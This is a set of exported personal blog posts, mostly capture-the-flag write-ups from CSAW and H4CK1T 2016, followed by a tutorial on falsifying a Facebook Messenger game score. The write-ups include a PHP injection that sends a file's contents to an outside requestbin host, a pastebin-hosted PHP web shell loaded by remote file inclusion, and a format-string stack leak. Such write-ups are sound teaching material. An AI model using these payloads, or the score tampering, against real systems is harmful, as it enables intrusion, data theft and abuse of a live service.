title: So. I started a blog.
date: 2016-09-07T20:18:04.000Z
tags: [medium-blog]
---
<article class="h-entry">
<section data-field="body" class="e-content">
<section name="3307" class="section section--body section--first section--last">
<div class="section-content">
<div class="section-inner sectionLayout--insetColumn">
<p name="d54d" id="d54d" class="graf graf--p graf-after--h3">Hi. Im Michael, a college freshman at the
University of Minnesota. I love writing code, and I would frequently participate in capture-the-flag (CTF)
competitions! I might be posting more about those here.</p>
<p name="138d" id="138d" class="graf graf--p graf-after--p">Ill use this space to rant about life. And post
CTF writeups too (maybe).</p>
<p name="2f45" id="2f45" class="graf graf--p graf-after--p graf--trailing">Im really trying to change my
study/life habits now that I have more freedom. More specifically, going to sleep at 3:00am every day
isnt going to work anymore. Recently I started waking up at 6:15am and I think getting things done in the
morning is even easier than getting things done at night for me. Only problem is the waking up part. Ill
try it for a couple weeks and Ill let you guys know how it goes.</p>
</div>
</div>
</section>
</section>
<footer>
<p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
href="https://medium.com/p/f2d0db8a955d"><time class="dt-published"
datetime="2016-09-07T20:18:04.000Z">September 7, 2016</time></a>.</p>
<p><a href="https://medium.com/@failedxyz/so-i-started-a-blog-f2d0db8a955d" class="p-canonical">Canonical link</a>
</p>
<p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
</footer>
</article>

View file

@ -1,98 +0,0 @@
---
title: CSAW CTF 2016 Quals
date: 2016-09-18T23:04:12.000Z
tags: [medium-blog]
---
<article class="h-entry">
<section data-field="body" class="e-content">
<section name="81bc" class="section section--body section--first section--last">
<div class="section-content">
<div class="section-inner sectionLayout--insetColumn">
<p name="3250" id="3250" class="graf graf--p graf-after--h3">Over the weekend, I worked with the team
Gophers in the Shell on CSAW CTF 2016. We ended up placing 317th place, with 401 points. Here Im going to
document the problems that I solved during the competition.</p>
<h3 name="74cf" id="74cf" class="graf graf--h3 graf-after--p">Coinslot</h3>
<p name="7bae" id="7bae" class="graf graf--p graf-after--h3">For 25 points, the objective of this problem is
to output which coins/bills are needed for a given amount of money. When you connect to the server, it
will give you an amount in the form of $100.00 and then proceed to ask questions like $10,000 bills?. To
do this, I wrote a Python client to interact with the server.</p>
<pre name="7d34" id="7d34"
class="graf graf--pre graf-after--p">import socket<br>s = socket.socket()<br>s.connect((“misc.chal.csaw.io”, 8000))</pre>
<pre name="8c45" id="8c45"
class="graf graf--pre graf-after--pre">def recv(end=\n):<br> c, t = , <br> while c != end:<br> c = s.recv(1)<br> t += c<br> return t</pre>
<p name="79eb" id="79eb" class="graf graf--p graf-after--pre">This code will open a connection to the server
and read input until a certain character is reached. The algorithm for this problem is rather simple;
starting from the largest denomination ($10,000 bills), check if the remaining amount is greater than the
denomination (in other words, if that bill/coin can be used to pay the remaining amount), and then
subtract the largest multiple of that bill/coin from the remaining amount. In code, that looks like this:
</p>
<pre name="8793" id="8793"
class="graf graf--pre graf-after--p">r = recv()<br>amt = int(r.strip(“$”).strip().replace(“.”, “”))<br>print amt<br>for denom in denoms:<br> n = amt // denom<br> s.send(“%d\n” % n)<br> amt %= denom<br>recv()</pre>
<p name="2a5d" id="2a5d" class="graf graf--p graf-after--pre">Upon success, the server will then ask another
amount. I didnt keep track of how many times it asked, but I wrapped the above code in a <code
class="markup--code markup--p-code">while True</code> loop and eventually I got the flag.</p>
<h3 name="bc76" id="bc76" class="graf graf--h3 graf-after--p">mfw</h3>
<p name="0e1b" id="0e1b" class="graf graf--p graf-after--h3">In this challenge we were presented with a site
with a navigation bar. On the About page, it tells you that the site was made with Git, PHP, and
Bootstrap. Upon seeing git, I immediately thought to check if the <code
class="markup--code markup--p-code">.git</code> folder was actually stored in the www root, and it was!
I ripped the git folder off the site and cloned it to restore the original folder structure.</p>
<p name="34a9" id="34a9" class="graf graf--p graf-after--p">There was a <code
class="markup--code markup--p-code">flag.php</code> in the templates folder, but the actual flag was
missing. That means I had to retrieve the flag from the actual server.</p>
<p name="c3f9" id="c3f9" class="graf graf--p graf-after--p">From the way the navigation bar was constructed,
it looks like I need to use local file inclusion. But I couldnt use phps <code
class="markup--code markup--p-code">base64</code> filter to print the contents of <code
class="markup--code markup--p-code">flag.php</code> because the <code
class="markup--code markup--p-code">$file</code> variable will stick ”templates/” to the front of the
given page before its <code class="markup--code markup--p-code">require_once</code>d.</p>
<p name="c2bf" id="c2bf" class="graf graf--p graf-after--p">The trick to solving this one is injecting PHP
commands in the assert statements. I suspect that writing to the filesystem has been blocked. So instead,
I made a <a href="http://requestb.in" data-href="http://requestb.in"
class="markup--anchor markup--p-anchor" rel="noopener" target="_blank">requestbin</a> that I would make
a GET request to, containing the contents of <code class="markup--code markup--p-code">flag.php</code>!
</p>
<p name="61df" id="61df" class="graf graf--p graf-after--p">The page I requested was:</p>
<pre name="8255" id="8255"
class="graf graf--pre graf-after--p">http://web.chal.csaw.io:8000/?page=flag%27+%2B+fopen%28%27http%3A%2F%2Frequestb.in%2F1l5k31z1%3Fp%3D%27+.+urlencode%28file_get_contents%28%27templates%2Fflag.php%27%29%29%2C+%27r%27%29+%2B+%27</pre>
<p name="80fb" id="80fb" class="graf graf--p graf-after--pre">Un-URL encoded, this looks like:</p>
<pre name="4d99" id="4d99"
class="graf graf--pre graf-after--p">flag + fopen(http://requestb.in/1l5k31z1?p=&#39; . urlencode(file_get_contents(templates/flag.php)), r) + </pre>
<p name="e3c2" id="e3c2" class="graf graf--p graf-after--pre">As you can see, Im reading the contents of
<code class="markup--code markup--p-code">flag.php</code>, URL-encoding it, and sending it to this
requestbin. This way, I can retrieve it from the requestbin later.
</p>
<h3 name="1a12" id="1a12" class="graf graf--h3 graf-after--p">Gametime</h3>
<p name="b5b0" id="b5b0" class="graf graf--p graf-after--h3">I got this close to the end of the competition,
but it suddenly hit me that if I just invert the condition of (if you hit the right key), then it will
think you win if you do absolutely nothing. Since they distributed the binary file instead of hosting it
on a server, this means I could just patch the binary file and re-run it.</p>
<p name="5875" id="5875" class="graf graf--p graf-after--p">I opened the exe in IDA, and used Alt+T to
search for <code class="markup--code markup--p-code">UDDER FAILURE</code>, the string it prints when you
fail. It actually occurs twice in the program, first during the “tutorial” level, and then during the
actual thing.</p>
<p name="3165" id="3165" class="graf graf--p graf-after--p">In both instances, right above where it prints
<code class="markup--code markup--p-code">UDDER FAILURE</code>, there is a <code
class="markup--code markup--p-code">jnz</code> that checks if the key you pressed was right. More
specifically, this occurs at <code class="markup--code markup--p-code">004014D5</code> and <code
class="markup--code markup--p-code">00401554</code>. To invert the condition, I had to change <code
class="markup--code markup--p-code">jnz</code> to <code class="markup--code markup--p-code">jz</code>.
In opcodes, thats <code class="markup--code markup--p-code">75</code> and <code
class="markup--code markup--p-code">74</code>.
</p>
<p name="b409" id="b409" class="graf graf--p graf-after--p graf--trailing">Then I just ran the program
again, and waited for it to pass all the checks, and I got the flag!</p>
</div>
</div>
</section>
</section>
<footer>
<p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
href="https://medium.com/p/f9c51dffa34"><time class="dt-published"
datetime="2016-09-18T23:04:12.000Z">September 18, 2016</time></a>.</p>
<p><a href="https://medium.com/@failedxyz/csaw-ctf-2016-quals-f9c51dffa34" class="p-canonical">Canonical link</a>
</p>
<p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
</footer>
</article>

View file

@ -1,186 +0,0 @@
---
title: H4CK1T CTF 2016
date: 2016-10-02T20:46:42.000Z
tags: [medium-blog]
---
<article class="h-entry">
<section data-field="body" class="e-content">
<section name="efb5" class="section section--body section--first section--last">
<div class="section-content">
<div class="section-inner sectionLayout--insetColumn">
<p name="1568" id="1568" class="graf graf--p graf-after--h3">Over the past week, I again worked with Gophers
in the Shell on a Ukrainian CTF called H4CK1T CTF. We finished 59th out of 1057 teams, with 2703 points.
Here are some of my writeups.</p>
<h3 name="6a51" id="6a51" class="graf graf--h3 graf-after--p">Algeria (250)</h3>
<p name="dab1" id="dab1" class="graf graf--p graf-after--h3">In this task we are given an encrypted image as
well as the encryption script. The script looks like this (condensed):</p>
<pre name="7b4d" id="7b4d"
class="graf graf--pre graf-after--p">x = random.randint(1,255)<br>y = random.randint(1,255)</pre>
<pre name="4540" id="4540"
class="graf graf--pre graf-after--pre">img_pix.putpixel((0,0),(len(FLAG),x,y))</pre>
<pre name="636c" id="636c"
class="graf graf--pre graf-after--pre">for l in FLAG:<br> x1 = random.randint(1,255)<br> y1 = random.randint(1,255)<br> img_pix.putpixel((x,y),(ord(l),x1,y1))<br> x = x1<br> y = y1</pre>
<pre name="5375" id="5375" class="graf graf--pre graf-after--pre">img_pix.save(encrypted.png)</pre>
<p name="f59f" id="f59f" class="graf graf--p graf-after--pre">It seems that each character of the flag is
placed at random points in the encrypted image. Fortunately, each character also comes with the
coordinates of the next character. To solve the challenge, we just write a reversing script.</p>
<pre name="61b5" id="61b5"
class="graf graf--pre graf-after--p">FLAG = “”<br>img = Image.open(“encrypted.png”)<br>img_pix = img.convert(“RGB”)</pre>
<pre name="bd59" id="bd59"
class="graf graf--pre graf-after--pre">FLAG_LEN, x, y = img_pix.getpixel((0, 0))<br>for i in range(FLAG_LEN — 1):<br> c, x, y = img_pix.getpixel((x, y))<br> FLAG += chr(c)</pre>
<pre name="cd1f" id="cd1f" class="graf graf--pre graf-after--pre">print FLAG</pre>
<p name="d169" id="d169" class="graf graf--p graf-after--pre">The flag is <code
class="markup--code markup--p-code">h4ck1t{1NF0RM$T10N_1$_N0T_$3CUR3_4NYM0R}</code>.</p>
<h3 name="e98b" id="e98b" class="graf graf--h3 graf-after--p">Argentina (100)</h3>
<p name="dbc4" id="dbc4" class="graf graf--p graf-after--h3">Im guessing the point of this problem was for
you to go through the network data and look for the right packets, but I just used <code
class="markup--code markup--p-code">strings</code>.</p>
<pre name="4678" id="4678"
class="graf graf--pre graf-after--p">$ strings top_secret_39af3e3ce5a5d5bc915749267d92ba43.pcap | grep h4ck1t<br>PASS h4ck1t{i_G07_ur_f1l3s}</pre>
<p name="5407" id="5407" class="graf graf--p graf-after--pre">The flag is <code
class="markup--code markup--p-code">h4ck1t{i_G07_ur_f1l3s}</code>.</p>
<h3 name="d1f6" id="d1f6" class="graf graf--h3 graf-after--p">Brazil (100)</h3>
<p name="d93e" id="d93e" class="graf graf--p graf-after--h3">In this challenge, we get a ZIP full of random
files (that look super suspicious), and we are asked to look for a secret. One place I eventually decided
to look at was Thumbs.db, which is a file that stores thumbnails for Windows Explorer.</p>
<p name="ccd5" id="ccd5" class="graf graf--p graf-after--p">There are many tools out there that can help
open this type of file. I used <a href="https://thumbsviewer.github.io"
data-href="https://thumbsviewer.github.io" class="markup--anchor markup--p-anchor" rel="noopener"
target="_blank">Thumbs Viewer</a>. Either way, the flag is the name of one of the thumbnails, <code
class="markup--code markup--p-code">h4ck1t{75943a3ca2223076e997fe30e17597d4}</code>.</p>
<h3 name="7d4a" id="7d4a" class="graf graf--h3 graf-after--p">Canada (300)</h3>
<p name="4a27" id="4a27" class="graf graf--p graf-after--h3">I dont think I did this the intended way, but
we were given a binary that apparently produces an output file. But I just did</p>
<pre name="62cc" id="62cc"
class="graf graf--pre graf-after--p">$ strings parse | grep h4ck1t<br> to unused region of span2910383045673370361328125_cgo_thread_start missingacquirep: invalid p stateallgadd: bad status Gidlebad procedure for programbad status in shrinkstackcant scan gchelper stackchansend: spurious wakeupcheckdead: no m for timercheckdead: no p for timerh4ck1t{T0mmy_g0t_h1s_Gun}mach_semcreate desc countmissing stack in newstackno buffer space availableno such file or directoryoperation now in progressreflect: Bits of nil Typereleasep: invalid p stateresource deadlock avoidedruntime: program exceeds runtime</pre>
<p name="500e" id="500e" class="graf graf--p graf-after--pre">The flag is <code
class="markup--code markup--p-code">h4ck1t{T0mmy_g0t_h1s_Gun}</code>.</p>
<h3 name="5532" id="5532" class="graf graf--h3 graf-after--p">China (150)</h3>
<p name="5d82" id="5d82" class="graf graf--p graf-after--h3">This one was rather annoying. When you first
open the RTF file, there is about 53 pages of random hex. I stripped all the nonsense off, and opened the
binary file with HxD, only to discover that it was a PNG. Not only that, it seemed to have a ZIP appended
to the end of it.</p>
<p name="d14c" id="d14c" class="graf graf--p graf-after--p">At that point, I just <code
class="markup--code markup--p-code">binwalk</code>d the PNG and extracted the ZIP, leading me to <code
class="markup--code markup--p-code">flag.txt</code>, containing the flag, <code
class="markup--code markup--p-code">h4ck1t{rtf_d0cs_4r3_awesome}</code>.</p>
<h3 name="d060" id="d060" class="graf graf--h3 graf-after--p">Chile (100)</h3>
<p name="2e87" id="2e87" class="graf graf--p graf-after--h3">Were told to connect to <code
class="markup--code markup--p-code">91.231.84.36:9001</code>. When we connect, we are greeted with a
prompt: <code class="markup--code markup--p-code">wanna see?</code></p>
<p name="bfaf" id="bfaf" class="graf graf--p graf-after--p">It seems that the program will print back
whatever you give it. One thought that came to mind was a print format vulnerability. If the program calls
<code class="markup--code markup--p-code">printf(input)</code> where <code
class="markup--code markup--p-code">input</code> is the user input, then putting format symbols into our
input will cause the program to start reading off the stack.
</p>
<p name="91c7" id="91c7" class="graf graf--p graf-after--p">There was probably a better way to do it, but
essentially I just grabbed the top 50 elements off the stack and looked for a flag. And it was there!</p>
<pre name="423e" id="423e"
class="graf graf--pre graf-after--p">failedxyz@backtick:~$ python -c print “%p-” * 50 | nc 91.231.84.36 9001<br>wanna see?<br>ok, so…<br>0x7f07781984830x7f07781999e00x7f0777ec47100x7f07781999e0-(nil)-0x70252d70252d70250x252d70252d70252d-0x2d70252d70252d700x70252d70252d70250x252d70252d70252d-0x2d70252d70252d700x70252d70252d70250x252d70252d70252d-0x2d70252d70252d700x70252d70252d70250x252d70252d70252d-0x2d70252d70252d700x70252d70252d70250x252d70252d70252d-0x2d70252d70252d700x70252d70252d70250x252d70252d70252d-0x2d70252d70252d700x2d70252d7025-(nil)-(nil)-0x7f0777de7c38-(nil)-0x7ffe058d71d00x7f07781984000x7f0777e549870x7f0778198400-(nil)-0x7f07783c77400x7f0777e517d90x7f07781984000x7f0777e49693-(nil)-0xea7c2294f9fed0000x7ffe058d71d00x4007c10x647b74316b6334680x355f7530595f44310x3f374168375f65450x7d373f-0x4007f00xea7c2294f9fed0000x7ffe058d72b0-(nil)-(nil)-</pre>
<p name="92bf" id="92bf" class="graf graf--p graf-after--pre">If you get rid of the <code
class="markup--code markup--p-code">(nil)</code>s and reverse the string (remember endianness), then you
should eventually arrive at the flag, which is <code
class="markup--code markup--p-code">h4ck1t{d1D_Y0u_5Ee_7hA7??7}</code>.</p>
<h3 name="5a4b" id="5a4b" class="graf graf--h3 graf-after--p">Germany (200)</h3>
<p name="7699" id="7699" class="graf graf--p graf-after--h3">In this problem, we are given a dump of some
Corp Users home folder. Most of the documents are useless, but what we are looking for is in the AppData
folder. More specifically, the transmission of information happens over Skype, so I looked in <code
class="markup--code markup--p-code">AppData\Roaming\Skype\live#3aames.aldrich</code>.</p>
<p name="e494" id="e494" class="graf graf--p graf-after--p"><code
class="markup--code markup--p-code">main.db</code> kinda stuck out, so I opened that first. It was an
SQLite database of a bunch of different Skype data. I ended up finding the flag in the <code
class="markup--code markup--p-code">Contacts</code> table, in the row containing the user <code
class="markup--code markup--p-code">zog black</code>, under <code
class="markup--code markup--p-code">province</code> and <code
class="markup--code markup--p-code">city</code> columns apparently. The flag was <code
class="markup--code markup--p-code">h4ck1t{87e2bc9573392d5f4458393375328cf2}</code>.</p>
<h3 name="16a6" id="16a6" class="graf graf--h3 graf-after--p">Mexico (150)</h3>
<p name="5e37" id="5e37" class="graf graf--p graf-after--h3">If you click around the navigation bar of the
website, youll notice that the pages are loaded by <code
class="markup--code markup--p-code">index.php?page=example</code>. It probably includes pages through
some naive include function without any sanitation, although it appends <code
class="markup--code markup--p-code">.php</code> to the end of the filename.</p>
<p name="8bdd" id="8bdd" class="graf graf--p graf-after--p">To bypass this, we just stick a <code
class="markup--code markup--p-code">%00</code> null character to the end of our URL. Then PHP stops
reading when it hits that and wont append <code class="markup--code markup--p-code">.php</code> after the
file. But what file can we include to find the flag?</p>
<p name="a0e1" id="a0e1" class="graf graf--p graf-after--p">It occurred to me that if we could include any
file, we could set up a pastebin containing an executable PHP code, and then include it. The PHP code I
included looks like this:</p>
<pre name="cd28" id="cd28"
class="graf graf--pre graf-after--p">if (isset($_GET[cmd]))<br> echo system($_GET[cmd]);<br>?&gt;</pre>
<p name="4372" id="4372" class="graf graf--p graf-after--pre">Stick that in a pastebin or something, and
then include it in your URL like this:</p>
<pre name="5f6d" id="5f6d"
class="graf graf--pre graf-after--p">http://91.231.84.36:9150/index.php?page=http://pastebin.com/raw/icSpe0F0%00</pre>
<p name="e164" id="e164" class="graf graf--p graf-after--pre">Now you can execute shell commands from the
URL. Doing an <code class="markup--code markup--p-code">ls</code> on the current directory reveals a file
called <code class="markup--code markup--p-code">sup3r_$3cr3t_f1le.php</code>. If you <code
class="markup--code markup--p-code">cat sup3r*</code> then you should be able to get the flag: <code
class="markup--code markup--p-code">h4ck1t{g00d_rfi_its_y0ur_fl@g}</code>.</p>
<h3 name="4b38" id="4b38" class="graf graf--h3 graf-after--p">Mongolia (100)</h3>
<p name="e011" id="e011" class="graf graf--p graf-after--h3">In this problem we are asked to connect to
<code class="markup--code markup--p-code">ctf.com.ua:9988</code> and solve math problems. We told <code
class="markup--code markup--p-code">C = A ^ B</code> and then given C, we are asked to find A and B.
Problem is, the C that they give are sometimes hundreds of digits long. Brute forcing directly is not a
good idea.
</p>
<p name="486d" id="486d" class="graf graf--p graf-after--p">The algorithm we used was to prime-factorize C,
and then multiply the factors as A, and counting how many of each factor as B. Obviously, if a factor like
2 appeared more than once, we multiply it twice into A, rather than making B twice as large.</p>
<p name="2a7c" id="2a7c" class="graf graf--p graf-after--p">We used the Sieve of Atkin to generate a list of
primes up to 10,000,000 (although we probably didnt need that many), and stored it into <code
class="markup--code markup--p-code">primes.txt</code>. The final program looks like this:</p>
<pre name="f6c7" id="f6c7"
class="graf graf--pre graf-after--p">from collections import Counter<br>import socket</pre>
<pre name="7f31" id="7f31"
class="graf graf--pre graf-after--pre">s = socket.socket()<br>s.connect((“ctf.com.ua”, 9988))</pre>
<pre name="50f2" id="50f2"
class="graf graf--pre graf-after--pre">primes = map(int, open(“primes.txt”).read().split(“ “))<br>i = 0<br>while True:<br> o = s.recv(8192)<br> print o<br> q = o.replace(“\n”, “”).replace(“ “, “”).split(“C=”)<br> r = int(q[-1])<br> print r<br> done = False<br> factors = []<br> for prime in primes:<br> while r % prime == 0:<br> factors.append(prime)<br> r //= prime<br> c = Counter(factors)<br> f = zip(*c.items())<br> B = min(c.values())<br> print f, c<br> A = reduce(lambda x, y: x * (y ** (c[y] // B)), f[0], 1)<br> if B == 1: A = r<br> print A, B<br> s.send(“%s %s\n” % (A, B))</pre>
<p name="16fa" id="16fa" class="graf graf--p graf-after--pre">The flag is <code
class="markup--code markup--p-code">h4ck1t{R4ND0M_1S_MY_F4V0UR1T3_W34P0N}</code>.</p>
<h3 name="51b1" id="51b1" class="graf graf--h3 graf-after--p">Oman (50)</h3>
<p name="8660" id="8660" class="graf graf--p graf-after--h3">I was so excited to do this challenge! Once I
unzipped the file and saw the folders and files, I knew it was a Minecraft world save!</p>
<p name="13b9" id="13b9" class="graf graf--p graf-after--p">I kind of saw it coming, but once I opened the
world, tons of shit blew up in my face. I decided to open it with MCEdit instead. There is a sign above
the spawn point that asks you to “remove the gray”. Since there was a huge rectangular field of bedrock, I
assumed it meant that.</p>
<p name="3476" id="3476" class="graf graf--p graf-after--p">Thing is if you play, and step on the pressure
plate, it will trigger a TNT chain reaction, blowing up the blocks that make up the flag. Using MCEdit, I
just selected the bedrock region and deleted it, revealing the flag below: <code
class="markup--code markup--p-code">h4ck1t{m1n3craft_h4c3r}</code>.</p>
<h3 name="d421" id="d421" class="graf graf--h3 graf-after--p">Paraguay (250)</h3>
<p name="3a9c" id="3a9c" class="graf graf--p graf-after--h3">Honestly, this one was such a pain in the ass.
Just when you thought it was 100 nested ZIPs, suddenly a RAR comes out of nowhere. Fortunately, a Python
library called <code class="markup--code markup--p-code">pyunpack</code> figures that out for you, by
checking the magic number of the file. The final script looks like this:</p>
<pre name="1165" id="1165"
class="graf graf--pre graf-after--p">from pyunpack import *<br>import shutil</pre>
<pre name="e117" id="e117"
class="graf graf--pre graf-after--pre">for i in range(100, 0, -1):<br> Archive(“%d” % i).extractall(“.”)<br> shutil.move(“work_folder/%d” % (i — 1), “%d” % (i — 1))</pre>
<p name="4d19" id="4d19" class="graf graf--p graf-after--pre">The flag is <code
class="markup--code markup--p-code">h4ck1t{0W_MY_G0D_Y0U_M4D3_1T}</code> .</p>
<h3 name="ee3c" id="ee3c" class="graf graf--h3 graf-after--p">United States (50)</h3>
<p name="216c" id="216c" class="graf graf--p graf-after--h3">This one was a freebie. Join their Telegram
channel and you get a free flag: <code
class="markup--code markup--p-code">h4ck1t{fr33_4nd_$ecur3!}</code>.</p>
<h3 name="df84" id="df84" class="graf graf--h3 graf-after--p">Trivia</h3>
<p name="7257" id="7257" class="graf graf--p graf-after--h3">There were a lot of trivia questions on the
board! They werent worth much, but still pretty fun. Here are the solutions:</p>
<pre name="28e0" id="28e0"
class="graf graf--pre graf-after--p graf--trailing">Cote dIvoire: h4ck1t{arpanet}<br>Bolivia: h4ck1t{Tim}<br>Colombia: h4ck1t{heartbleed}<br>Costa Rica: h4ck1t{7}<br>Ecuador: h4ck1t{archie}<br>Finland: h4ck1t{mitnick}<br>Greece: h4ck1t{30}<br>Honduras: h4ck1t{Binary}<br>Italy: h4ck1t{2015}<br>Kazakhstan: h4ck1t{polymorphic}<br>Kyrgyzstan: h4ck1t{smtp}<br>Madagascar: h4ck1t{caesar}<br>Nicaragua: h4ck1t{B@S3_S0_B@S3_}<br>Nigeria: h4ck1t{128}<br>Peru: h4ck1t{Decimal}<br>Phillipines: h4ck1t{creeper}<br>Spain: h4ck1t{social engineering}<br>Venezuela: h4ck1t{admin123}</pre>
</div>
</div>
</section>
</section>
<footer>
<p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
href="https://medium.com/p/8caf20e4b185"><time class="dt-published"
datetime="2016-10-02T20:46:42.000Z">October 2, 2016</time></a>.</p>
<p><a href="https://medium.com/@failedxyz/h4ck1t-ctf-2016-8caf20e4b185" class="p-canonical">Canonical link</a></p>
<p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
</footer>
</article>

View file

@ -1,131 +0,0 @@
---
title: Lightning Speed Run
date: 2016-12-01T22:26:36.000Z
tags: [medium-blog]
---
<article class="h-entry">
<section data-field="body" class="e-content">
<section name="6b11" class="section section--body section--first section--last">
<div class="section-content">
<div class="section-inner sectionLayout--insetColumn">
<p name="a5c4" id="a5c4" class="graf graf--p graf-after--h3">Recently, a new little icon appeared in the
text box on Messenger next to the camera icon and payments:</p>
<figure name="a818" id="a818" class="graf graf--figure graf-after--p"><img class="graf-image"
data-image-id="0*pGW634t0gBRppaDV.png" data-width="417" data-height="165"
src="https://cdn-images-1.medium.com/max/800/0*pGW634t0gBRppaDV.png">
<figcaption class="imageCaption">The games icon.</figcaption>
</figure>
<p name="c25c" id="c25c" class="graf graf--p graf-after--figure">If you click it, a menu shows up and you
can play a number of in-browser games. It seems that the games are run without any plugins, so they use
HTML5 to run and interact with Facebooks API, such as setting scores on the leaderboard and whatnot.</p>
<p name="f0a0" id="f0a0" class="graf graf--p graf-after--p">In this post, Ill look at the game <strong
class="markup--strong markup--p-strong">TRACK &amp; FIELD 100M</strong>. The object of this game is to
press the left-foot button and the right-foot button as quickly as possible. Since your final score is the
elapsed time, lower scores will outrank higher scores. I will explain how to achieve a score of 0:00.01.
</p>
<h3 name="5a38" id="5a38" class="graf graf--h3 graf-after--p">Step 1: Finding the Source Files</h3>
<p name="5644" id="5644" class="graf graf--p graf-after--h3">It turns out that when Messenger loads the
source files for the game (which are *.js files) when you first open the game. This makes it easy to
figure out which source files are responsible for the actual game logic. In this tutorial, Ill be using
Chrome, but Ive confirmed that it works on Microsoft Edge as well.</p>
<p name="7b9c" id="7b9c" class="graf graf--p graf-after--p">First, open Developer Tools using Ctrl+Shift+I
or F12, and go to the Network tab. There might be a few resources loaded already; delete them with the 🛇
button. Since we are looking for JavaScript files, open the filter view and select JS.</p>
<p name="dcc3" id="dcc3" class="graf graf--p graf-after--p">Now, when Facebook loads the JavaScript source
files, they will appear in this view. Open the game menu and press the Play button next to the game TRACK
&amp; FIELD 100M. Once you have done this, a few files will start to appear.</p>
<figure name="8807" id="8807" class="graf graf--figure graf-after--p"><img class="graf-image"
data-image-id="0*_aZtMhKZDxW0im1t.png" data-width="676" data-height="275"
src="https://cdn-images-1.medium.com/max/800/0*_aZtMhKZDxW0im1t.png">
<figcaption class="imageCaption">Network tab in Chrome Developer Tools.</figcaption>
</figure>
<p name="07f6" id="07f6" class="graf graf--p graf-after--figure">main.js looks like a pretty good place to
start. Look at the URL: <code
class="markup--code markup--p-code">https://apps-1665884840370147.apps.fbsbx.com/instant-bundle/1230433990363006/1064870650278605/main.js</code>.
Since this resource has already been loaded into the browser, we can find it under the Sources tab of
Developer Tools. Trace the path, starting from the domain like this:</p>
<figure name="360f" id="360f" class="graf graf--figure graf-after--p"><img class="graf-image"
data-image-id="0*Dcb_QsTKJFFrq2lg.png" data-width="676" data-height="529"
src="https://cdn-images-1.medium.com/max/800/0*Dcb_QsTKJFFrq2lg.png">
<figcaption class="imageCaption">Finding the source code.</figcaption>
</figure>
<h3 name="e060" id="e060" class="graf graf--h3 graf-after--figure">Step 2: Analyzing main.js</h3>
<p name="df9f" id="df9f" class="graf graf--p graf-after--h3">Go ahead an pretty-print the minified file,
just like it suggests. (for those of you who didnt get that notification, just hit the {} button next to
Line/Column. Since this file isnt obfuscated, its fairly easy to just look through the file and figure
out what it does.</p>
<p name="147a" id="147a" class="graf graf--p graf-after--p">I dont really know how to explain this part
well; if youre familiar with code, you should be able to traverse the file pretty easily. I eventually
arrived at this function:</p>
<pre name="65f2" id="65f2"
class="graf graf--pre graf-after--p">GameScene.prototype.stepEnd_ = function() {<br> if (this.isStepTimeOver_(2e3)) {<br> var e = Math.floor(1e3 * this.timeSpeed_.getTime());<br> FBInstant.setScore(e),<br> FBInstant.takeScreenshot(),<br> this.stepFunc_ = this.stepEnd2_,<br> this.audience_.fadeTo(.5)<br> }<br>}</pre>
<p name="ff9d" id="ff9d" class="graf graf--p graf-after--pre"><code
class="markup--code markup--p-code">stepEnd_</code> is the handler for the event where the user finishes
the game. As you can see, it computes the elapsed the time, and multiplies it by 1,000 (probably because
Facebook stores these scores as integers). This is sent to Facebook using the <code
class="markup--code markup--p-code">FBInstant</code> librarys <code
class="markup--code markup--p-code">setScore</code> function. After looking at a couple of these games,
youll notice that <code class="markup--code markup--p-code">FBInstant</code> is pretty much universal
among these games, since its required to interact with the Facebook API.</p>
<h3 name="25ef" id="25ef" class="graf graf--h3 graf-after--p">Step 3: The Exploit</h3>
<p name="ed05" id="ed05" class="graf graf--p graf-after--h3">The strategy to exploit this is to add a
breakpoint at that line, so code execution is paused before that line is executed. Then we are free to
change the variable to whatever wed like to change it to, and then resume execution so that our changed
value is sent to the server.</p>
<p name="4095" id="4095" class="graf graf--p graf-after--p">Id like to point out that setting the variable
to non-numerical types will simply cause the upload to fail. Im guessing theyre doing some type-checking
on it server-side. That doesnt prevent us from simply changing the value to 0 and sending it to the
server.</p>
<p name="bf3b" id="bf3b" class="graf graf--p graf-after--p">To add a breakpoint to that line, click the line
number where the line <code class="markup--code markup--p-code">FBInstant.setScore(e)</code> appears. The
blue arrow indicates that a breakpoint has been set, and code execution will stop before this line starts.
</p>
<figure name="8c89" id="8c89" class="graf graf--figure graf-after--p"><img class="graf-image"
data-image-id="0*pFhcPeUtuQ3H74Qd.png" data-width="427" data-height="151"
src="https://cdn-images-1.medium.com/max/800/0*pFhcPeUtuQ3H74Qd.png">
<figcaption class="imageCaption">Adding a breakpoint in the code.</figcaption>
</figure>
<p name="4780" id="4780" class="graf graf--p graf-after--figure">Now, start the game and play through it
like normal. It doesnt matter what score you get, as long as you finish and trigger the <code
class="markup--code markup--p-code">stepEnd_</code> function, the code will stop and wait for you before
submitting your score.</p>
<p name="d32b" id="d32b" class="graf graf--p graf-after--p">If you are still on the Sources tab, youll be
able to see the variables in the scope of the deepest function we are in when the code stops.</p>
<figure name="8f1b" id="8f1b" class="graf graf--figure graf-after--p"><img class="graf-image"
data-image-id="0*YZn_TJFtZ8NSNpne.png" data-width="679" data-height="521"
src="https://cdn-images-1.medium.com/max/800/0*YZn_TJFtZ8NSNpne.png">
<figcaption class="imageCaption">Local variables at the point where we added the breakpoint.</figcaption>
</figure>
<p name="23ff" id="23ff" class="graf graf--p graf-after--figure">Open the Console (either by navigating to
the Console tab, or just pressing Esc to open it within the Sources tab), and just type</p>
<pre name="135a" id="135a" class="graf graf--pre graf-after--p">e = 1</pre>
<p name="b024" id="b024" class="graf graf--p graf-after--pre">We just changed the value of the local
variable <code class="markup--code markup--p-code">e</code> to 1 (1 millisecond; for some reason it bugs
when I use <code class="markup--code markup--p-code">e = 0</code>). When the execution continues, it will
use our changed value, and submit that to the score server. Exit the game, and you should see that score
reflected on the leaderboard.</p>
<h3 name="d338" id="d338" class="graf graf--h3 graf-after--p">Recap</h3>
<p name="4285" id="4285" class="graf graf--p graf-after--h3">When you are developing browser-based games,
you can never trust user input. As long as the user has control, he can jack the browser logic and change
variables during runtime. Ideally, the game logic should be done server-side, and the client is simply a
terminal passing inputs to the server and visuals back to the client.</p>
<p name="2d42" id="2d42" class="graf graf--p graf-after--p">However, this is highly impractical. If you sent
